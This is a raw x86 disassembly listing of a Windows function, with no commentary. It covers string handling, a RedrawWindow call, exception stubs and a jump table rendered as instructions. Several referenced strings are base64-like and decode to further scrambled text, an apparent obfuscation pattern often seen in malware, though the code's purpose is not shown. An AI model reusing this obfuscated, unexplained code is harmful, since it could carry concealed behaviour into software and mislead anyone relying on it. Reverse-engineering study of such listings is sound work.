je 0x521368
mov dword [eax + 0x18], 0
push 1
push 0
push 0
push dword [eax + 4]
mov dword [eax + 0xc], 1
call dword [sym.imp.USER32.dll_RedrawWindow]
mov eax, dword [ebp - 0x14c]
cmp eax, 0x10
jb 0x521aa1
inc eax
push eax
push dword [ebp - 0x160]
call fcn.0042ae50
add esp, 8
jmp 0x521aa1
mov edx, 0x5b4958
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x5213dc
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5213a7
sub ecx, dword [ebp - 0x2c]
je 0x5213dc
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5213dc
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x5213c7
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x5213e3
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x60]
call fcn.00429500
cmp dword [ebp - 0x20], 0
je 0x521489
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0xf
mov byte [ebp - 0xe4], 0
mov ecx, edi
mov dword [ebp - 4], 0x7c
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521426
sub ecx, edx
lea eax, [ebp - 0xe4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00521fb0
lea eax, [ebp - 0x20]
mov dword [ebp - 0x44], 0xffffffff
push eax
lea edx, [ebp - 0x44]
mov dword [ebp - 0x20], 0xffffffff
lea ecx, [ebp - 0xe4]
call fcn.004475b0
mov eax, dword [ebp - 0x38]
add esp, 0xc
push dword [ebp - 0x20]
mov ecx, dword [eax + 0xc]
push dword [ebp - 0x44]
call fcn.00406980
lea ecx, [ebp - 0xe4]
call fcn.00429500
jmp 0x521aa1
mov edx, 0x5b4940
lea ecx, [ebp - 0x60]
call fcn.00440770
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044b620
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00429500
test esi, esi
je 0x5214be
call fcn.0044b5b0
jmp 0x521aa1
mov edx, 0x5b49a0
lea ecx, [ebp - 0x60]
call fcn.00440770
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044b620
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00429500
lea ecx, [ebp - 0x60]
test esi, esi
je 0x5217ed
call fcn.00429270
mov ecx, edi
mov dword [ebp - 4], 0x7d
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521501
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00521fb0
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.0041c560
lea ecx, [ebp - 0x3c]
call fcn.0041c560
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x7f
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x60]
call fcn.004477c0
add esp, 4
lea ecx, [ebp - 0x3c]
call fcn.0044b5d0
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x52165a
push str.bnBtYnNhcg
lea ecx, [ebp - 0x24]
call fcn.0042ad20
push str.Y3BwbXA
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0x80
call fcn.0042ad20
push str.Y3BwS3FlO0dsdF9qZ2JdRGdqY11OX3Jm
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x81
call fcn.0042ad20
push 0x588c78
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x82
call fcn.0042ad20
push 0x588c78
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x83
call fcn.0042ad20
push ecx
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x84
mov ecx, esp
push eax
call fcn.0042a450
lea ecx, [ebp - 0x68]
call fcn.00440b00
mov edi, eax
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0x85
mov ecx, esp
push eax
call fcn.0042a450
lea ecx, [ebp - 0x84]
call fcn.00440b00
mov esi, eax
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x86
mov ecx, esp
push eax
call fcn.0042a450
lea ecx, [ebp - 0x2c]
call fcn.00440b00
add esp, 4
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x87
push ecx
lea ecx, [ebp - 0x20]
mov edx, esi
push ecx
push edi
mov ecx, eax
call fcn.004523c0
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.00406230
lea ecx, [ebp - 0x84]
call fcn.00406230
lea ecx, [ebp - 0x68]
call fcn.00406230
lea ecx, [ebp - 0x20]
call fcn.00406230
lea ecx, [ebp - 0x44]
call fcn.00406230
lea ecx, [ebp - 0x34]
call fcn.00406230
lea ecx, [ebp - 0x40]
call fcn.00406230
lea ecx, [ebp - 0x24]
call fcn.00406230
lea ecx, [ebp - 0x34]
call fcn.0041c560
push str.eSBfbm4gOHkgI3VxIDh5IF9ubl1xcl9yc3EgOHkgbF9rYyA4ICN1cSAqIHFyX3JzcSA4ICN1cSB7e3t7
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x88
call fcn.00429d40
push str.bG1sYw
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x89
call fcn.00429d40
push str.Z2xxcl9qamNi
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x8a
call fcn.00429d40
sub esp, 0x18
mov byte [ebp - 4], 0x8b
cmp dword [ebp - 0x28], 1
mov ecx, esp
jne 0x5216cf
lea eax, [ebp - 0x100]
push eax
call fcn.00429ac0
lea ecx, [ebp - 0x68]
call fcn.004408a0
add esp, 0x18
mov byte [ebp - 4], 0x8c
mov ecx, 1
jmp 0x5216f2
lea eax, [ebp - 0xe4]
push eax
call fcn.00429ac0
lea ecx, [ebp - 0x28]
call fcn.004408a0
add esp, 0x18
mov dword [ebp - 4], 0x8d
mov ecx, 2
push dword [eax]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x130]
call fcn.00429d40
mov dword [ebp - 4], 0x8e
mov eax, dword [ebp - 0x40]
test al, 2
je 0x521724
and eax, 0xfffffffd
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x40], eax
call fcn.00406230
mov eax, dword [ebp - 0x40]
mov byte [ebp - 4], 0x90
test al, 1
je 0x521734
lea ecx, [ebp - 0x68]
call fcn.00406230
lea ecx, [ebp - 0x130]
call fcn.0042a380
mov esi, eax
sub esp, 0x18
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov edi, dword [eax]
lea eax, [ebp - 0x9c]
push eax
call fcn.00429ac0
lea ecx, [ebp - 0x84]
call fcn.004408a0
push esi
mov byte [ebp - 4], 0x91
push dword [ebp - 0x1c]
push edi
push dword [eax]
lea eax, [ebp - 0x34]
push eax
call fcn.0041dc60
add esp, 0x2c
mov byte [ebp - 4], 0x90
lea ecx, [ebp - 0x84]
call fcn.00406230
push ecx
lea eax, [ebp - 0x34]
mov ecx, esp
push eax
call fcn.0042a450
mov ecx, dword [ebp - 0x38]
call fcn.0051d470
lea ecx, [ebp - 0x130]
call fcn.0042a310
lea ecx, [ebp - 0x100]
call fcn.0042a310
lea ecx, [ebp - 0xe4]
call fcn.0042a310
lea ecx, [ebp - 0x9c]
call fcn.0042a310
lea ecx, [ebp - 0x34]
call fcn.00406230
lea ecx, [ebp - 0x3c]
call fcn.00406230
lea ecx, [ebp - 0x1c]
call fcn.00406230
lea ecx, [ebp - 0x60]
call fcn.00429500
jmp 0x521aa1
mov edx, 0x5b4a78
call fcn.00440770
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044b620
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00429500
lea ecx, [ebp - 0x60]
test esi, esi
je 0x5218a9
call fcn.00429270
mov ecx, edi
mov dword [ebp - 4], 0x92
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x521830
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x6c]
call fcn.00521fb0
add esp, 8
lea ecx, [ebp - 0x60]
push 0x588c78
call fcn.00427e10
lea eax, [ebp - 0x48]
mov dword [ebp - 0x24], 1
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x48], 2
push eax
lea eax, [ebp - 0x6c]
push eax
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x60]
call fcn.00447bd0
mov eax, dword [ebp - 0x48]
add esp, 0xc
or eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax + 0xc]
call fcn.00412600
lea ecx, [ebp - 0x60]
call fcn.00429500
jmp 0x521aa1
mov edx, 0x5b49b8
call fcn.00440770
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044b620
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00429500
test esi, esi
je 0x52195d
lea ecx, [ebp - 0x60]
call fcn.00429270
mov ecx, edi
mov dword [ebp - 4], 0x93
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5218f0
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00521fb0
add esp, 4
lea ecx, [ebp - 0x60]
call fcn.00522020
add esp, 4
lea ecx, [ebp - 0x130]
test eax, eax
mov eax, dword [ebp - 0x38]
setne byte [ebp - 0x2d]
push dword [eax]
call fcn.00429d40
mov dl, byte [ebp - 0x2d]
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x94
call fcn.0052c900
lea ecx, [ebp - 0x130]
call fcn.0042a310
lea ecx, [ebp - 0x60]
call fcn.00429500
jmp 0x521aa1
push edi
lea ecx, [ebp - 0x40]
call fcn.00429e10
push str.c2xpbG11bF1zZ11rY3FxX2Vj
lea ecx, [ebp - 0x34]
mov dword [ebp - 4], 0x95
call fcn.0042ad20
push str.a3FlOyN1cQ
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x96
call fcn.0042ad20
lea ecx, [ebp - 0x1c]
call fcn.0041c560
sub esp, 0x18
mov byte [ebp - 4], 0x98
mov ecx, esp
push dword [ebp - 0x40]
call fcn.00429d40
lea ecx, [ebp - 0x68]
call fcn.0042bb70
add esp, 0x14
mov byte [ebp - 4], 0x99
mov esi, dword [eax]
mov ecx, esp
lea eax, [ebp - 0x44]
push eax
call fcn.0042a450
lea ecx, [ebp - 0x28]
call fcn.00440b00
add esp, 4
push esi
mov byte [ebp - 4], 0x9a
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.0041dc60
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.00406230
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x98
call fcn.00406230
push 0x588c78
lea ecx, [ebp - 0x20]
call fcn.0042ad20
push 0x588c78
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x9b
call fcn.0042ad20
push ecx
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x9c
mov ecx, esp
push eax
call fcn.0042a450
lea ecx, [ebp - 0x68]
call fcn.00440b00
mov esi, eax
sub esp, 0x14
mov byte [ebp - 4], 0x9d
mov ecx, esp
push 0x5b8970
call fcn.00429ac0
lea ecx, [ebp - 0x28]
call fcn.004408a0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x9e
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
mov edx, esi
mov ecx, eax
call fcn.004523c0
add esp, 0x24
lea ecx, [ebp - 0x28]
call fcn.00406230
lea ecx, [ebp - 0x68]
call fcn.00406230
lea ecx, [ebp - 0x24]
call fcn.00406230
lea ecx, [ebp - 0x20]
call fcn.00406230
lea ecx, [ebp - 0x1c]
call fcn.00406230
lea ecx, [ebp - 0x44]
call fcn.00406230
lea ecx, [ebp - 0x34]
call fcn.00406230
lea ecx, [ebp - 0x40]
call fcn.00406230
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
push str.invalid_stoi_argument
call fcn.0052d30c
push str.stoi_argument_out_of_range
call fcn.0052d34c
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
call fcn.0054947f
push 0x80004005
call fcn.0042abf0
push 0x80004005
call fcn.0042abf0
push 0x80004005
call fcn.0042abf0
push 0x80004005
call fcn.0042abf0
push 0x80004005
call fcn.0042abf0
push 0x80004005
call fcn.0042abf0
call fcn.0054947f
call fcn.0054947f
push 0x80004005
call fcn.0042abf0
push 0x80004005
call fcn.0042abf0
push 0x80004005
call fcn.0042abf0
push 0x80004005
call fcn.0042abf0
push 0x80004005
call fcn.0042abf0
push str.invalid_map_K__T__key
call fcn.0052d34c
push 0x80004005
call fcn.0042abf0
push 0x80004005
call fcn.0042abf0
push 0x80004005
call fcn.0042abf0
push 0x80004005
call fcn.0042abf0
push str.invalid_stoi_argument
call fcn.0052d30c
push str.stoi_argument_out_of_range
call fcn.0052d34c
nop
or edx, dword [edx]
mov dword [ebx], ecx
push edx
add byte [0xdf00520c], al
or edx, dword [edx]
and dword [edx + edx*2], ecx
add byte [eax], al
add al, 4
add al, 1
add al, 4
add al, 4
add al, 4
add al, 2
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 3
int3